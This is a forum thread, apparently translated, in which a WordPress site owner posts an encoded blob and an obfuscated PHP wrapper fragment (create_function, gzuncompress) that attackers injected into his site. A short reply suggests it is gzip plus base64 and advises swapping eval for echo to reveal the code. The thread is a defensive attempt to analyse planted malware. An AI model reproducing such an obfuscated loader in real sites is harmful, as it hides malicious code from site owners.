A
A
Alexey2016-08-31 10:47:59
Burglary protection
Alexey, 2016-08-31 10:47:59

How to decrypt (decode) foreign code in php page?

They broke the site on WP, stuffed it with their encrypted code. I want to know what is there. Online decoders could not read. What can be decoded?
The code is like this:
V1ZscGJ / Y0hmaGB6eHNveXchaC11YGx5T2JyYDZ7aG58f2ZIYX98SmxodnJ + VjljTUtDUV1bW1pPU0NLQ0hVR0BWd0pvQVZEQEIrdX0 / ZmR2NjRaR0JGVEVLXV9HXj1wKTRwZmdnZHVpOCU0JiwpZlU9LCM + KV0pYW9eNHpIZ3FmdEdUZ00 / W3R0a3ZCfiZZYGNUJktGX0ZXQmF2ZGA5WU0wfG5tf3d9cj9vcXxuci1ucW1tZ2g7aHZ8Yn8 + Z3RodX93ImB5fnZ1e3kmdnJ6ZDMzLT9ucUFWREBOX1teRDFTa2NjdScjS2l1dmVjYzxlbWBtfjticnhoc2FXIltHQUVUREBSRUdDKkFiWkFCWUFDS0NRWE87WFdVQkhIR1lCXERAVlszaTY3KjlBKk5BVkRATkJHSEJKS0BDWURCLXkmZnVmPmR8YEYoUEJ0JnBlfj5kfGBINXt8SSZwZX4 + e3tue3w9JnVgPXJ4enl1e34oZXZza2wscVh8cnx / cHNLeX1lVWNvZSlCTCs9XU9Ab25dR11AXU9AVFhFbzo / ZXUmdn1gPjlyYn5hJ3JofmgwfWlmP30mdn1gPjldTlU4f2lvb2dHJnZ9YHk2cyZ1YD1yeHp5dXt + KHNnfGxoZmN8LVFvbWJzdHNLaXlndWlAXyd0fU51Kn51eE5FUSduf3dqWUdBaHwzPnF / dnh0ZHxpZih4YmRkfXs + eHh5cXlqO2RicktWdGs2PnZ + eHZsYjtkYnJqYlUmdWA9cnh6a3lyJHduZy92NFUpL2ktPWYmL3YtYHlnMn0tL3QtMmp3YnxOKzA4I184Kj1hdmRgKzg7bUxNPzUvdS12dnRGKSorYGx5ZDtOemdkf2FjYy91LXNkWGFjbHp1c3gvdS1jejdcWURFJTYoJ1tpJmZBbWNkKzc0MTZ8RSZfezpkcZ6VSHpAzkUI67S4JGXIne0m9XRjMr / U1UcgUwLdVWhU43AYA5YQTgCg0fi4 + IuaVULKDi4PcuutypQead3hRBp1 + un / kzthza6b4KlAvhAMY1EAr2QK4V8itBR / li9xlr9lpPeg + nss4pw7l5B1iuEAjjvnut9iP7KWyr92CIeq0k0VcPPt + qxl9mFPkaUctma9AECB2JVj0Pm6182dMbjYgAg5QDY8D793vauEsSmYMM1d6WS3vttYt / jTSKb66 / TzPDE8nSbG + 3GcWFrwQ / TN + 54gYvj69I0hvVevTV3RMGxm9ZZ3Yf1kEolZx4LhYLnuyGN6e7RKERmQYRBAURlwbOGkzaMzzMyAaRqcMmBzwEafyPYPu25 + uQji7Pz2trrbdNRxLq0qgXvckiD00VdF8dLkBAeN4AJYLw2HUnpqkoh1Lez0yW2AMpYN1VnBNlv27vWPFrqSlTWfrlv9Pj + r92Kn + b2Igbas / lGi4b + UmoyqEcpbul4HoV66mZUvaavtb3ddqbzimDyAipfE / rQb6VO4Nu8maJ34SxWxdDDsbYhds2 / fAClyHCEvY9PswhDn6fejqoAjKn6kS / 83MWuNtunvzb7bqwJdmi0f9lDh1UsC5rlsu6mq1DvAHl88SNfYS6uPzoHJwQehD56gyHtw7eH / tuHx6tUdYJjITrUpDJy6Ezaej1Wlf0S4RQz2Y9 / bSuaRCbbN9umZ2ygsvr2c + iwX5WC + KHoaVyLQLy58V8QdGC1Ypw5q7ilRxhvMwQb + zaqD0Zx9ZgOiQFPFl11Kx + / v9CaAQtOAPdJzmRMIoHVji7H6pwgh8HDL / Hn0AlbOQ / 68Aay29K4aWGoRTiLRcJXoX6Op0q2KItpvfH2X6KbsJgM5 + 6bxNq0zCj / VJ / itImQB1dddIzk9ilOocvpjtQupRejbQrj0zUjDJ / aoZFoU6n / loSbtNrlIoJgiUySoPLyUVaZlbJRpLY14lixX0e1xu9zYdlOjXqQ5ebvanm5BJDLPHJm0Ql0q2cXMx1c3fZG7JwfE8XZvg1NQKupB3DE4jGVqbq4DJjVXJaJ9IgE8QhN2xFJUpivMuB + 5ymcBN4sxgoS0Db4evXR3xVj3VmPmctkaV3K / ucaax1 / bP6839m / jlEqGhxhTQz3TWsgbs9Wk80jt5hL0Bw7OM2 + 1yIpg0znLHlGdGZQFZ0qyZfNq0RbcEml + Fmpp5UMiU64Q9LYHg + bGvIfoyPoTmmXqMoGE7zwLkeoTQIWX / yar7mI8dBlAaUEkfzecPA2rEUeZewD + vfs + cX6h3kytT0kFNkMaJWz7sot1bMNKzQ6T6erl8J3D6LFH3GVShhvgd34wRQVVJDNZu9jfCvPFNeMxyFJfczwwGN4gh + 5EsVFzBBPYZZVusBNU + SMsC48PFZizEmbVVaBtWprBGFuCO4NlwDFgyssI43rXND3eYOWrbu4eDylgE / zfeKUhBVqec2XE / oRPJZrisIEeecitbFGt5tQa6iV5 + 8TiVKVOC45rQmLOTCqjzImyeyKgxoSEoyBbEJKl7BfixV5wkCPNGxvPkKqDBTWoPPXvplyRbDNoMRZx5i4EC8m14BchWtDevtM / c5VjvOvLVtGdqhqh1tnPSvsjgNpOnT0jWnhcIYWjZ1nWsDrIPhnwku5mVT6qOFBcB0TEAAAJ4DRnN6aQw5kM / YkbLxfH19 / 7JZAtFKTP5Tt7ZqpSLasLNb6lwiiZ + ADXqnMVu77CxY2trHXvxT2mLXryuHPTBB + dAVL1jMNWRXMvlmzft7hNLCKNfPrhuPjl + xaf6cpWolzqsazH4 + HMeecFKWfYg / ECUc6r85PPlkVYI1zNL3Y998MfENSI0QymRnP1RuGuUseK + x70ynO2Ha15a6N9Z + 1k4HhXdouFdKm1H8FYZS / FVYNUqVqrCnWpQkcmQxe0mWGploR6P0vguadaD9unzJnFcSwMb + Lw8WT56YBW5U / kWKiwMEU4wJttwzG4tL6Kemf8XyhxD1j6t7bNT + FNaMknddI7p5FnXX2n3gyUI / nsUTPDYnYCXvon7MY4CL4PWmSPT + 1HIuQ2lefhWsUIbLpsrJvkwHNrn06Q81rnJDWp6aExnhbmeg8XRLbK / 2qaVZ7fUOkalTpG8v7XfMPdVgbdjqlD5Hs160f2lOa81twKr0UvTb4JIACI3csICuAUmdu0v8m2aYElGCK7WyVwwv5QSy5mlZB2wnAeDddQE3flJnAWgC3cUG5AKTsSg59UXF0n4YmtK367deP0eC22v9mpoerwACc6LlN320clZFdc3AtXMCI2qnr65L0QqKREIzKnrqjIe8BbiYM0JmgC0Z / KVzzryAzDD27olKv9NPrBnquOT3qBQPsSWgIh5dk45RcwsYkLjHCtZE // VMtCt0LQoqd1GONdYBhC + xBR2VzVM22wsxKZXLJ5uPmKl / c01jLoNq2UmB6fkSZo25VFHU + wgrbSlFms5VoJJT6fK848fK0 + jAC5DwLbkkiNAlm6rybtdsxQSVN0Ceh3CaxsTtTRY8lICpS0Fgf7ERI5NFbhPhX9hAglb46HqM3i0y2AXZIz94ITAY4mMwg4hv / qj0xGVrHnsQYpHcMYrr9PRylxUhkcd6oi5UZi7 + Cx / Hm + ITeznxKJ4H1bFNd547WFzpmH3cPuFLkMJ5mPRyngIvsY5SozRlQB2hBhbZQK9v5MseCn3Xtn + Sr6h7YXxkBFB1jIPyAvnJqcQxEFy6VRooeq7Fupim6vfCfppxasofOwzuBwSUytTElCbltBeqNXIK / xio1Na9MOd2HwTasowvUihC8FIcYDescnpKLSQfjOFg3VxSzcUqEB6S5zEqm2VfbNwm5j8RoxWdqY2 / 6BMv5Y4cefxO5HVCU1d / B0t1uHwn / 7fu5IbTMQhzR35XK9463aHTKMyFlfGdyf9Ta2DYc05DyN0J9BX0BovzQmvmnTMIkAkDby1tiCjf9dugv8AeGM6HHKx3CZxWBkh25xxY0NX + cIV8Bdqt8qsMF3 + Yv / WuWmPukSxiG5iG0zdS / O / mJ + 718ybVZw9Z7zeKBpkryIIo8vsUB / MGtUOdZmXDZ ++ 7 / iQW2n4Xd8zzCuaiu4lm03pUmkhf7uVeZGWvIJ8uEqUfWmWlAjXmtjY3UnI0tpdXZlY2Mo
This has been wrapped up in the function
$oviluned="create_";global $okemom; $okemom=array('$okemom[0]=array_pop($okemom);$wewakim=wewakim(2);$okemom[0]=$wewakim($okemom[2]);','$okemom[2] =gzuncompress(wewakim(692^15,299^2053));'
What could it be?

Answer the question

In order to leave comments, you need to log in

1 answer(s)
A
Alexey, 2016-08-31
@alsopub

This is probably zgip + base64 data, most likely "mixed" as well.
There must be at least a wewakim() function somewhere.
If there is eval(...) then replace it with echo(...) and you should see the code.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question